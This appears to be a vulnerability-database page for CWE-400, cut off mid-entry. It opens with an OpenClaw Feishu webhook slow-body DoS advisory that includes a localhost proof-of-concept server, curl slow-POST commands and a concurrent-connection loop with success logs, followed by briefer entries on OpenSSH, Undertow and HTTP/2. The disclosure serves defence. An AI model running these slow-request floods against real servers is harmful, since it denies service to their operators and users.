Common Weakness Enumeration

CWE-400

Discouraged

Uncontrolled Resource Consumption

Abstraction: Class · Status: Draft

API response cwe.mitre.org

The product does not properly control the allocation and maintenance of a limited resource.

6465 vulnerabilities reference this CWE, most recent first.

GHSA-W6M8-CQVJ-PG5V

Vulnerability from github – Published: 2026-03-30 18:32 – Updated: 2026-04-10 19:44
VLAI
Summary
OpenClaw has incomplete Fix for CVE-2026-32011: Feishu Webhook Pre-Auth Body Parsing DoS (Slow-Body / Slowloris Variant)
Details

Fixed in OpenClaw 2026.3.24, the current shipping release.

Advisory Details

Title: Incomplete Fix for CVE-2026-32011: Feishu Webhook Pre-Auth Body Parsing DoS (Slow-Body / Slowloris Variant)

Description:

Summary

The patch for CVE-2026-32011 tightened pre-auth body parsing limits (from 1MB/30s to 64KB/5s) across several webhook handlers. However, the Feishu extension's webhook handler was not included in the patch and still accepts request bodies with the old permissive limits (1MB body, 30-second timeout) before verifying the webhook signature. An unauthenticated attacker can exhaust server connection resources by sending concurrent slow HTTP POST requests to the Feishu webhook endpoint.

Details

In extensions/feishu/src/monitor.ts, the webhook HTTP handler uses installRequestBodyLimitGuard with permissive limits at lines 276-278:

const FEISHU_WEBHOOK_MAX_BODY_BYTES = 1024 * 1024;    // 1MB (line 26)
const FEISHU_WEBHOOK_BODY_TIMEOUT_MS = 30_000;         // 30s (line 27)

// ... in monitorWebhook(), line 276-278:
const guard = installRequestBodyLimitGuard(req, res, {
  maxBytes: FEISHU_WEBHOOK_MAX_BODY_BYTES,    // 1MB
  timeoutMs: FEISHU_WEBHOOK_BODY_TIMEOUT_MS,  // 30s
  responseFormat: "text",
});

The body guard is installed at line 276 before the request reaches the Lark SDK's adaptDefault webhook handler (line 284), which performs signature verification. This means:

  1. Any unauthenticated HTTP POST is accepted
  2. The server waits up to 30 seconds for the body to arrive
  3. Each connection can buffer up to 1MB
  4. Authentication only happens after the body is fully read

The patched handlers (Mattermost, MSTeams, Google Chat, etc.) now use tight pre-auth limits:

const PREAUTH_MAX_BODY_BYTES = 64 * 1024;     // 64KB
const PREAUTH_BODY_TIMEOUT_MS = 5_000;         // 5s

The Feishu extension was missed because it resides in extensions/feishu/ (a plugin workspace) rather than in the core src/ directory.

Attack chain:

[Attacker sends slow HTTP POST to /feishu/events]
  → Rate limit check: passes (under 120 req/min)
  → Content-Type check: application/json, passes
  → installRequestBodyLimitGuard(1MB, 30s): installed
  → Body trickles at 1 byte/sec for 30 seconds
  → × 50 concurrent connections = connection exhaustion
  → Legitimate Feishu webhook deliveries blocked

PoC

Prerequisites: Docker installed.

Step 1: Create a minimal test server reproducing the vulnerable body parsing:

cat > /tmp/feishu_webhook_server.js << 'EOF'
const http = require("http");
const VULN_TIMEOUT = 30_000;   // Vulnerable: 30s (same as Feishu handler)
const PATCH_TIMEOUT = 5_000;   // Patched: 5s (what it should be)

function bodyGuard(req, res, timeoutMs) {
  let done = false;
  const timer = setTimeout(() => {
    if (!done) { done = true; res.statusCode = 408; res.end("Request body timeout"); req.destroy(); }
  }, timeoutMs);
  req.on("end", () => { done = true; clearTimeout(timer); });
  req.on("close", () => { done = true; clearTimeout(timer); });
}

http.createServer((req, res) => {
  if (req.url === "/healthz") { res.end("OK"); return; }
  if (req.method !== "POST") { res.writeHead(405); res.end(); return; }
  const timeout = req.url === "/feishu/events" ? VULN_TIMEOUT : PATCH_TIMEOUT;
  console.log(`[${req.url}] +conn`);
  bodyGuard(req, res, timeout);
  res.on("finish", () => console.log(`[${req.url}] -conn`));
}).listen(3000, () => console.log("Listening on :3000"));
EOF
node /tmp/feishu_webhook_server.js &
sleep 1

Step 2: Verify the vulnerability — slow body holds connection for the full timeout:

# Vulnerable endpoint: connection stays open for ~10 seconds (max 30s)
time (echo -n '{"t":"'; sleep 10; echo '"}') | \
  curl -s -o /dev/null -w "status: %{http_code}\n" \
  -X POST http://localhost:3000/feishu/events \
  -H "Content-Type: application/json" \
  -H "Content-Length: 65536" \
  --data-binary @- --max-time 35

# Patched endpoint: connection terminated after ~5s
time (echo -n '{"t":"'; sleep 10; echo '"}') | \
  curl -s -o /dev/null -w "status: %{http_code}\n" \
  -X POST http://localhost:3000/patched/events \
  -H "Content-Type: application/json" \
  -H "Content-Length: 65536" \
  --data-binary @- --max-time 35

Step 3: Batch exploit — 10 concurrent slow connections:

for i in $(seq 1 10); do
  (echo -n 'A'; sleep 15) | \
    curl -s -o /dev/null -X POST http://localhost:3000/feishu/events \
    -H "Content-Type: application/json" \
    -H "Content-Length: 65536" \
    --data-binary @- --max-time 35 &
done
wait

Log of Evidence

Exploit result (vulnerable /feishu/events):

=== Feishu Webhook Pre-Auth Slow-Body DoS ===
Target: localhost:3000/feishu/events
Concurrent connections: 10

  [conn-0] held open for 15.0s (15B sent) [SUCCESS]
  [conn-1] held open for 15.0s (15B sent) [SUCCESS]
  [conn-2] held open for 15.0s (15B sent) [SUCCESS]
  [conn-3] held open for 15.0s (15B sent) [SUCCESS]
  [conn-4] held open for 15.0s (15B sent) [SUCCESS]
  [conn-5] held open for 15.0s (15B sent) [SUCCESS]
  [conn-6] held open for 15.0s (15B sent) [SUCCESS]
  [conn-7] held open for 15.0s (15B sent) [SUCCESS]
  [conn-8] held open for 15.0s (15B sent) [SUCCESS]
  [conn-9] held open for 15.0s (15B sent) [SUCCESS]

=== Results ===
Connections held open (SUCCESS): 10/10
[SUCCESS] Pre-auth slow-body DoS confirmed!

Control result (patched /patched/events with 5s timeout):

=== CONTROL: Patched Webhook Body Limits (64KB/5s) ===
Target: localhost:3000/patched/events

  [conn-0] RESET after 8.0s (8B)
  [conn-1] RESET after 8.0s (8B)
  ...
  [conn-9] RESET after 8.0s (8B)

Avg connection hold time: 8.0s (5s timeout + stagger delay)

Server-side Docker logs confirming the discrepancy:

[feishu-vulnerable] +conn (active: 1)
[feishu-vulnerable] +conn (active: 10)  ← No disconnections during 15s attack
[patched-control] +conn (active: 20)
[patched-control] -conn after 5.0s (active: 19)  ← ALL terminated at 5s
[patched-control] -conn after 5.0s (active: 10)

Impact

An unauthenticated attacker can cause a Denial of Service against any OpenClaw instance running the Feishu channel in webhook mode. The Feishu webhook endpoint must be publicly accessible for Feishu to deliver webhooks, so the attacker can directly target it.

With ~50 concurrent slow HTTP connections (each trickling 1 byte/second), the attacker can: - Exhaust the server's connection handling capacity for 30 seconds per wave - Block legitimate Feishu webhook deliveries (messages not reaching the bot) - Consume up to 50MB of memory (50 × 1MB buffer) per attack wave

The attack is trivial — it only requires sending slow HTTP POST requests. No valid Feishu webhook signature or any other credentials are needed.

Affected products

  • Ecosystem: npm
  • Package name: openclaw
  • Affected versions: <= 2026.2.22
  • Patched versions: None

Severity

  • Severity: Medium
  • Vector string: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Weaknesses

  • CWE: CWE-400: Uncontrolled Resource Consumption

Occurrences

Permalink Description
https://github.com/openclaw/openclaw/blob/main/extensions/feishu/src/monitor.ts#L26-L27 Permissive body limit constants: FEISHU_WEBHOOK_MAX_BODY_BYTES = 1024 * 1024 (1MB) and FEISHU_WEBHOOK_BODY_TIMEOUT_MS = 30_000 (30s) — should be 64KB/5s to match the CVE-2026-32011 patch.
https://github.com/openclaw/openclaw/blob/main/extensions/feishu/src/monitor.ts#L276-L280 installRequestBodyLimitGuard call in monitorWebhook() using the permissive constants — this guard runs before authentication (the Lark SDK handler at line 284).
Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.3.24"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35665"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-405"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-30T18:32:03Z",
    "nvd_published_at": "2026-04-10T17:17:08Z",
    "severity": "MODERATE"
  },
  "details": "\u003e Fixed in OpenClaw 2026.3.24, the current shipping release.\n\n# Advisory Details\n\n**Title**: Incomplete Fix for CVE-2026-32011: Feishu Webhook Pre-Auth Body Parsing DoS (Slow-Body / Slowloris Variant)\n\n**Description**:\n\n### Summary\n\nThe patch for CVE-2026-32011 tightened pre-auth body parsing limits (from 1MB/30s to 64KB/5s) across several webhook handlers. However, the **Feishu extension\u0027s webhook handler** was not included in the patch and still accepts request bodies with the old permissive limits (1MB body, 30-second timeout) **before** verifying the webhook signature. An unauthenticated attacker can exhaust server connection resources by sending concurrent slow HTTP POST requests to the Feishu webhook endpoint.\n\n### Details\n\nIn `extensions/feishu/src/monitor.ts`, the webhook HTTP handler uses `installRequestBodyLimitGuard` with permissive limits at lines 276-278:\n\n```typescript\nconst FEISHU_WEBHOOK_MAX_BODY_BYTES = 1024 * 1024;    // 1MB (line 26)\nconst FEISHU_WEBHOOK_BODY_TIMEOUT_MS = 30_000;         // 30s (line 27)\n\n// ... in monitorWebhook(), line 276-278:\nconst guard = installRequestBodyLimitGuard(req, res, {\n  maxBytes: FEISHU_WEBHOOK_MAX_BODY_BYTES,    // 1MB\n  timeoutMs: FEISHU_WEBHOOK_BODY_TIMEOUT_MS,  // 30s\n  responseFormat: \"text\",\n});\n```\n\nThe body guard is installed at line 276 **before** the request reaches the Lark SDK\u0027s `adaptDefault` webhook handler (line 284), which performs signature verification. This means:\n\n1. Any unauthenticated HTTP POST is accepted\n2. The server waits up to 30 seconds for the body to arrive\n3. Each connection can buffer up to 1MB\n4. Authentication only happens after the body is fully read\n\nThe patched handlers (Mattermost, MSTeams, Google Chat, etc.) now use tight pre-auth limits:\n```typescript\nconst PREAUTH_MAX_BODY_BYTES = 64 * 1024;     // 64KB\nconst PREAUTH_BODY_TIMEOUT_MS = 5_000;         // 5s\n```\n\nThe Feishu extension was missed because it resides in `extensions/feishu/` (a plugin workspace) rather than in the core `src/` directory.\n\n**Attack chain:**\n```\n[Attacker sends slow HTTP POST to /feishu/events]\n  \u2192 Rate limit check: passes (under 120 req/min)\n  \u2192 Content-Type check: application/json, passes\n  \u2192 installRequestBodyLimitGuard(1MB, 30s): installed\n  \u2192 Body trickles at 1 byte/sec for 30 seconds\n  \u2192 \u00d7 50 concurrent connections = connection exhaustion\n  \u2192 Legitimate Feishu webhook deliveries blocked\n```\n\n### PoC\n\n**Prerequisites:** Docker installed.\n\n**Step 1:** Create a minimal test server reproducing the vulnerable body parsing:\n\n```bash\ncat \u003e /tmp/feishu_webhook_server.js \u003c\u003c \u0027EOF\u0027\nconst http = require(\"http\");\nconst VULN_TIMEOUT = 30_000;   // Vulnerable: 30s (same as Feishu handler)\nconst PATCH_TIMEOUT = 5_000;   // Patched: 5s (what it should be)\n\nfunction bodyGuard(req, res, timeoutMs) {\n  let done = false;\n  const timer = setTimeout(() =\u003e {\n    if (!done) { done = true; res.statusCode = 408; res.end(\"Request body timeout\"); req.destroy(); }\n  }, timeoutMs);\n  req.on(\"end\", () =\u003e { done = true; clearTimeout(timer); });\n  req.on(\"close\", () =\u003e { done = true; clearTimeout(timer); });\n}\n\nhttp.createServer((req, res) =\u003e {\n  if (req.url === \"/healthz\") { res.end(\"OK\"); return; }\n  if (req.method !== \"POST\") { res.writeHead(405); res.end(); return; }\n  const timeout = req.url === \"/feishu/events\" ? VULN_TIMEOUT : PATCH_TIMEOUT;\n  console.log(`[${req.url}] +conn`);\n  bodyGuard(req, res, timeout);\n  res.on(\"finish\", () =\u003e console.log(`[${req.url}] -conn`));\n}).listen(3000, () =\u003e console.log(\"Listening on :3000\"));\nEOF\nnode /tmp/feishu_webhook_server.js \u0026\nsleep 1\n```\n\n**Step 2:** Verify the vulnerability \u2014 slow body holds connection for the full timeout:\n\n```bash\n# Vulnerable endpoint: connection stays open for ~10 seconds (max 30s)\ntime (echo -n \u0027{\"t\":\"\u0027; sleep 10; echo \u0027\"}\u0027) | \\\n  curl -s -o /dev/null -w \"status: %{http_code}\\n\" \\\n  -X POST http://localhost:3000/feishu/events \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Content-Length: 65536\" \\\n  --data-binary @- --max-time 35\n\n# Patched endpoint: connection terminated after ~5s\ntime (echo -n \u0027{\"t\":\"\u0027; sleep 10; echo \u0027\"}\u0027) | \\\n  curl -s -o /dev/null -w \"status: %{http_code}\\n\" \\\n  -X POST http://localhost:3000/patched/events \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Content-Length: 65536\" \\\n  --data-binary @- --max-time 35\n```\n\n**Step 3:** Batch exploit \u2014 10 concurrent slow connections:\n\n```bash\nfor i in $(seq 1 10); do\n  (echo -n \u0027A\u0027; sleep 15) | \\\n    curl -s -o /dev/null -X POST http://localhost:3000/feishu/events \\\n    -H \"Content-Type: application/json\" \\\n    -H \"Content-Length: 65536\" \\\n    --data-binary @- --max-time 35 \u0026\ndone\nwait\n```\n\n### Log of Evidence\n\n**Exploit result (vulnerable /feishu/events):**\n```\n=== Feishu Webhook Pre-Auth Slow-Body DoS ===\nTarget: localhost:3000/feishu/events\nConcurrent connections: 10\n\n  [conn-0] held open for 15.0s (15B sent) [SUCCESS]\n  [conn-1] held open for 15.0s (15B sent) [SUCCESS]\n  [conn-2] held open for 15.0s (15B sent) [SUCCESS]\n  [conn-3] held open for 15.0s (15B sent) [SUCCESS]\n  [conn-4] held open for 15.0s (15B sent) [SUCCESS]\n  [conn-5] held open for 15.0s (15B sent) [SUCCESS]\n  [conn-6] held open for 15.0s (15B sent) [SUCCESS]\n  [conn-7] held open for 15.0s (15B sent) [SUCCESS]\n  [conn-8] held open for 15.0s (15B sent) [SUCCESS]\n  [conn-9] held open for 15.0s (15B sent) [SUCCESS]\n\n=== Results ===\nConnections held open (SUCCESS): 10/10\n[SUCCESS] Pre-auth slow-body DoS confirmed!\n```\n\n**Control result (patched /patched/events with 5s timeout):**\n```\n=== CONTROL: Patched Webhook Body Limits (64KB/5s) ===\nTarget: localhost:3000/patched/events\n\n  [conn-0] RESET after 8.0s (8B)\n  [conn-1] RESET after 8.0s (8B)\n  ...\n  [conn-9] RESET after 8.0s (8B)\n\nAvg connection hold time: 8.0s (5s timeout + stagger delay)\n```\n\n**Server-side Docker logs confirming the discrepancy:**\n```\n[feishu-vulnerable] +conn (active: 1)\n[feishu-vulnerable] +conn (active: 10)  \u2190 No disconnections during 15s attack\n[patched-control] +conn (active: 20)\n[patched-control] -conn after 5.0s (active: 19)  \u2190 ALL terminated at 5s\n[patched-control] -conn after 5.0s (active: 10)\n```\n\n### Impact\n\nAn unauthenticated attacker can cause a **Denial of Service** against any OpenClaw instance running the Feishu channel in webhook mode. The Feishu webhook endpoint must be publicly accessible for Feishu to deliver webhooks, so the attacker can directly target it.\n\nWith ~50 concurrent slow HTTP connections (each trickling 1 byte/second), the attacker can:\n- Exhaust the server\u0027s connection handling capacity for 30 seconds per wave\n- Block legitimate Feishu webhook deliveries (messages not reaching the bot)\n- Consume up to 50MB of memory (50 \u00d7 1MB buffer) per attack wave\n\nThe attack is trivial \u2014 it only requires sending slow HTTP POST requests. No valid Feishu webhook signature or any other credentials are needed.\n\n### Affected products\n- **Ecosystem**: npm\n- **Package name**: openclaw\n- **Affected versions**: \u003c= 2026.2.22\n- **Patched versions**: None\n\n### Severity\n- **Severity**: Medium\n- **Vector string**: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L\n\n### Weaknesses\n- **CWE**: CWE-400: Uncontrolled Resource Consumption\n\n### Occurrences\n\n| Permalink | Description |\n| :--- | :--- |\n| [https://github.com/openclaw/openclaw/blob/main/extensions/feishu/src/monitor.ts#L26-L27](https://github.com/openclaw/openclaw/blob/main/extensions/feishu/src/monitor.ts#L26-L27) | Permissive body limit constants: `FEISHU_WEBHOOK_MAX_BODY_BYTES = 1024 * 1024` (1MB) and `FEISHU_WEBHOOK_BODY_TIMEOUT_MS = 30_000` (30s) \u2014 should be 64KB/5s to match the CVE-2026-32011 patch. |\n| [https://github.com/openclaw/openclaw/blob/main/extensions/feishu/src/monitor.ts#L276-L280](https://github.com/openclaw/openclaw/blob/main/extensions/feishu/src/monitor.ts#L276-L280) | `installRequestBodyLimitGuard` call in `monitorWebhook()` using the permissive constants \u2014 this guard runs before authentication (the Lark SDK handler at line 284). |",
  "id": "GHSA-w6m8-cqvj-pg5v",
  "modified": "2026-04-10T19:44:53Z",
  "published": "2026-03-30T18:32:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-w6m8-cqvj-pg5v"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-x4vp-4235-65hg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35665"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-denial-of-service-via-feishu-webhook-pre-auth-body-parsing"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw has incomplete Fix for CVE-2026-32011: Feishu Webhook Pre-Auth Body Parsing DoS (Slow-Body / Slowloris Variant)"
}

GHSA-W6Q4-QG4H-298G

Vulnerability from github – Published: 2022-05-17 01:03 – Updated: 2026-05-29 21:31
VLAI
Details

The default configuration of OpenSSH through 6.1 enforces a fixed time limit between establishing a TCP connection and completing a login, which makes it easier for remote attackers to cause a denial of service (connection-slot exhaustion) by periodically making many new TCP connections.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2010-5107"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2013-03-07T20:55:00Z",
    "severity": "MODERATE"
  },
  "details": "The default configuration of OpenSSH through 6.1 enforces a fixed time limit between establishing a TCP connection and completing a login, which makes it easier for remote attackers to cause a denial of service (connection-slot exhaustion) by periodically making many new TCP connections.",
  "id": "GHSA-w6q4-qg4h-298g",
  "modified": "2026-05-29T21:31:10Z",
  "published": "2022-05-17T01:03:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2010-5107"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=908707"
    },
    {
      "type": "WEB",
      "url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A19515"
    },
    {
      "type": "WEB",
      "url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A19595"
    },
    {
      "type": "WEB",
      "url": "http://marc.info/?l=bugtraq\u0026m=144050155601375\u0026w=2"
    },
    {
      "type": "WEB",
      "url": "http://rhn.redhat.com/errata/RHSA-2013-1591.html"
    },
    {
      "type": "WEB",
      "url": "http://www.openbsd.org/cgi-bin/cvsweb/src/usr.bin/ssh/servconf.c?r1=1.234#rev1.234"
    },
    {
      "type": "WEB",
      "url": "http://www.openbsd.org/cgi-bin/cvsweb/src/usr.bin/ssh/sshd_config.5?r1=1.156#rev1.156"
    },
    {
      "type": "WEB",
      "url": "http://www.openbsd.org/cgi-bin/cvsweb/src/usr.bin/ssh/sshd_config?r1=1.89#rev1.89"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2013/02/07/3"
    },
    {
      "type": "WEB",
      "url": "http://www.oracle.com/technetwork/topics/security/cpujan2015-1972971.html"
    },
    {
      "type": "WEB",
      "url": "http://www.oracle.com/technetwork/topics/security/linuxbulletinjan2016-2867209.html"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/58162"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W6QF-42M7-VH68

Vulnerability from github – Published: 2024-02-20 00:30 – Updated: 2025-04-28 15:32
VLAI
Summary
Undertow Uncontrolled Resource Consumption Vulnerability
Details

A vulnerability was found in Undertow. This vulnerability impacts a server that supports the wildfly-http-client protocol. Whenever a malicious user opens and closes a connection with the HTTP port of the server and then closes the connection immediately, the server will end with both memory and open file limits exhausted at some point, depending on the amount of memory available.

At HTTP upgrade to remoting, the WriteTimeoutStreamSinkConduit leaks connections if RemotingConnection is closed by Remoting ServerConnectionOpenListener. Because the remoting connection originates in Undertow as part of the HTTP upgrade, there is an external layer to the remoting connection. This connection is unaware of the outermost layer when closing the connection during the connection opening procedure. Hence, the Undertow WriteTimeoutStreamSinkConduit is not notified of the closed connection in this scenario. Because WriteTimeoutStreamSinkConduit creates a timeout task, the whole dependency tree leaks via that task, which is added to XNIO WorkerThread. So, the workerThread points to the Undertow conduit, which contains the connections and causes the leak.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.undertow:undertow-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.3.0.Final"
            },
            {
              "fixed": "2.3.12.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.undertow:undertow-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.2.31.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-1635"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-09-16T21:22:33Z",
    "nvd_published_at": "2024-02-19T22:15:48Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability was found in Undertow. This vulnerability impacts a server that supports the wildfly-http-client protocol. Whenever a malicious user opens and closes a connection with the HTTP port of the server and then closes the connection immediately, the server will end with both memory and open file limits exhausted at some point, depending on the amount of memory available. \n\nAt HTTP upgrade to remoting, the WriteTimeoutStreamSinkConduit leaks connections if RemotingConnection is closed by Remoting ServerConnectionOpenListener. Because the remoting connection originates in Undertow as part of the HTTP upgrade, there is an external layer to the remoting connection. This connection is unaware of the outermost layer when closing the connection during the connection opening procedure. Hence, the Undertow WriteTimeoutStreamSinkConduit is not notified of the closed connection in this scenario. Because WriteTimeoutStreamSinkConduit creates a timeout task, the whole dependency tree leaks via that task, which is added to XNIO WorkerThread. So, the workerThread points to the Undertow conduit, which contains the connections and causes the leak.",
  "id": "GHSA-w6qf-42m7-vh68",
  "modified": "2025-04-28T15:32:19Z",
  "published": "2024-02-20T00:30:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1635"
    },
    {
      "type": "WEB",
      "url": "https://github.com/undertow-io/undertow/commit/7d388c5aae9b82afb63f24e3b6a2044838dfb4de"
    },
    {
      "type": "WEB",
      "url": "https://github.com/undertow-io/undertow/commit/3cdb104e225f34547ce9fd6eb8799eb68e040f19"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20240322-0007"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/undertow-io/undertow"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2264928"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2024-1635"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2025:4226"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:4884"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:3354"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:1866"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:1864"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:1862"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:1861"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:1860"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:1677"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:1676"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:1675"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:1674"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Undertow Uncontrolled Resource Consumption Vulnerability"
}

GHSA-W6V5-Q8C8-52XX

Vulnerability from github – Published: 2022-05-24 16:53 – Updated: 2025-01-14 21:31
VLAI
Details

Some HTTP/2 implementations are vulnerable to unconstrained interal data buffering, potentially leading to a denial of service. The attacker opens the HTTP/2 window so the peer can send without constraint; however, they leave the TCP window closed so the peer cannot actually write (many of) the bytes on the wire. The attacker then sends a stream of requests for a large response object. Depending on how the servers queue the responses, this can consume excess memory, CPU, or both.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2019-9517"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-08-13T21:15:00Z",
    "severity": "HIGH"
  },
  "details": "Some HTTP/2 implementations are vulnerable to unconstrained interal data buffering, potentially leading to a denial of service. The attacker opens the HTTP/2 window so the peer can send without constraint; however, they leave the TCP window closed so the peer cannot actually write (many of) the bytes on the wire. The attacker then sends a stream of requests for a large response object. Depending on how the servers queue the responses, this can consume excess memory, CPU, or both.",
  "id": "GHSA-w6v5-q8c8-52xx",
  "modified": "2025-01-14T21:31:41Z",
  "published": "2022-05-24T16:53:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-9517"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BP556LEG3WENHZI5TAQ6ZEBFTJB4E2IS"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/4ZQGHE3WTYLYAYJEIDJVF2FIGQTAYPMC"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/XHTKU7YQ5EEP2XNSAV4M4VJ7QCBOJMOD"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/CMNFX5MNYRWWIMO4BTKYQCGUDMHO3AXP"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/BP556LEG3WENHZI5TAQ6ZEBFTJB4E2IS"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/4ZQGHE3WTYLYAYJEIDJVF2FIGQTAYPMC"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rf6449464fd8b7437704c55f88361b66f12d5b5f90bcce66af4be4ba9@%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rf6449464fd8b7437704c55f88361b66f12d5b5f90bcce66af4be4ba9%40%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/re3d27b6250aa8548b8845d314bb8a350b3df326cacbbfdfe4d455234@%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/re3d27b6250aa8548b8845d314bb8a350b3df326cacbbfdfe4d455234%40%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rd2fb621142e7fa187cfe12d7137bf66e7234abcbbcd800074c84a538@%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rd2fb621142e7fa187cfe12d7137bf66e7234abcbbcd800074c84a538%40%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
